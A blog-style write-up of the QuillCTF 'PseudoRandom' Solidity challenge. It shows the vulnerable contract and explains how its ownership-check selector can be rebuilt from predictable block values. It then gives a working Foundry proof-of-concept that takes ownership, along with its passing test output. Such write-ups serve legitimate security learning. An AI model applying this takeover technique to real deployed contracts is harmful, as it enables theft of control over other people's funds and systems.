Skip to main content

QuillCTF - PseudoRandom

· 5 min read
Kaan Caglan

PseudoRandom is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only one solidity file and also one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Become the Owner of the contract.

Objective is clear, we just need to be the owner of the contract.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract PseudoRandom {
error WrongSig();

address public owner;

constructor() {
bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));

bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;

assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}

let slot := xor(mload(0x00), mload(0x20))

sstore(add(chainid(), origin()), slot)

let sig := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(origin(), caller()), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), origin()), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
sstore(slot, sig)
}
}

fallback() external {
if (msg.sig == 0x3bc5de30) {
assembly {
mstore(0x00, sload(calldataload(0x04)))
return(0x00, 0x20)
}
} else {
bytes4 sig;

assembly {
sig := sload(sload(add(chainid(), caller())))
}

if (msg.sig != sig) {
revert WrongSig();
}

assembly {
sstore(owner.slot, calldataload(0x24))
}
}
}
}

If we take a look to the contract it can be seen that else case on the fallback function is storing the given data into the owner.slot. So we need to find a valid msg.sig to pass

if (msg.sig != sig) {
revert WrongSig();
}

this control, and after that the second parameter we gave (0x24) will be set to the slot owner.slot. However signature is calculated of the constructor. On the constructor there are few unknown variables for us

  • scalar
  • slot
  • sig We know the rest of them. For example from the foundry setup we know that caller and origin isthe variable addr, we are in same block so we also know number(), chainid() and timestamp(). Even if we wouldn't be in the same block we could find them from the initial transaction anyway. So since we know the timestamp() number() and chainid() we actually know the scalar, we can calculate it with just copy pasting the assembly statement in the solution part. In the second assembly block there is call opcode used and the output of call is stored to 0x00 with length of 0x40.

The call function parameters are as follows:

  • gas(): The amount of gas available for the call.
  • 0x07: The address of the contract being called.
  • 0x00: The amount of Ether to send with the call (in this case, 0).
  • input: The memory location where the input data starts.
  • 0x60: The size of the input data (in this case, 96 bytes, as input is an array of 3 bytes32 values).
  • 0x00: The memory location where the output data will be stored.
  • 0x40: The size of the output data.

The call function is instructed to store the output data in memory starting at location 0x00, with a maximum size of 0x40 bytes (64 bytes). Since the call function modifies memory locations 0x00 and 0x20, the memory values at these locations depend on the result of the call. So again if we use call opcode with exact same way, we can get exactly simular output to our memory locations 0x00 and 0x20 so eventually we can calculate the slot variable. After we found slot everything is straightforward. We don't need to understand the operations done on sig calculation because everything will be same for us.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../src/PseudoRandom.sol";

contract PseudoRandomTest is Test {
string private BSC_RPC = "https://rpc.ankr.com/bsc"; // 56
string private POLY_RPC = "https://rpc.ankr.com/polygon"; // 137
string private FANTOM_RPC = "https://rpc.ankr.com/fantom"; // 250
string private ARB_RPC = "https://rpc.ankr.com/arbitrum"; // 42161
string private OPT_RPC = "https://rpc.ankr.com/optimism"; // 10
string private GNOSIS_RPC = "https://rpc.ankr.com/gnosis"; // 100

address private addr;

function setUp() external {
vm.createSelectFork(BSC_RPC);
}
function thisistestfunc(uint256 a, address b) public{
//some implementation
}

function test() external {
string memory rpc = new string(32);
assembly {
// network selection
let _rpc := sload(
add(mod(xor(number(), timestamp()), 0x06), BSC_RPC.slot)
)
mstore(rpc, shr(0x01, and(_rpc, 0xff)))
mstore(add(rpc, 0x20), and(_rpc, not(0xff)))
}

addr = makeAddr(rpc);

vm.createSelectFork(rpc);

vm.startPrank(addr, addr);
address instance = address(new PseudoRandom());

//the solution

bytes32[3] memory input;
input[0] = bytes32(uint256(1));
input[1] = bytes32(uint256(2));

bytes memory test = abi.encodeWithSignature('thisistestfunc(uint256,address)', 0, addr);

bytes32 scalar;
assembly {
scalar := sub(mul(timestamp(), number()), chainid())
}
input[2] = scalar;
bytes32 sign;

assembly {
let success := call(gas(), 0x07, 0x00, input, 0x60, 0x00, 0x40)
if iszero(success) {
revert(0x00, 0x00)
}
let slot := xor(mload(0x00), mload(0x20))

sstore(add(chainid(), sload(addr.slot)), slot)

sign := shl(
0xe0,
or(
and(scalar, 0xff000000),
or(
and(shr(xor(sload(addr.slot), sload(addr.slot)), slot), 0xff0000),
or(
and(
shr(
mod(xor(chainid(), sload(addr.slot)), 0x0f),
mload(0x20)
),
0xff00
),
and(shr(mod(number(), 0x0a), mload(0x20)), 0xff)
)
)
)
)
}

bytes4 customSelector = bytes4(sign);

for (uint256 i = 0; i < 4; i++) {
test[i] = customSelector[i];
}

(bool success, bytes memory data) = instance.call(test);
require(success,"failed low-level call");

assertEq(PseudoRandom(instance).owner(), addr);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.19
[] Solc 0.8.19 finished in 982.82ms
Compiler run successful

Running 1 test for test/PseudoRandom.t.sol:PseudoRandomTest
[PASS] test() (gas: 214601)
Test result: ok. 1 passed; 0 failed; finished in 3.43s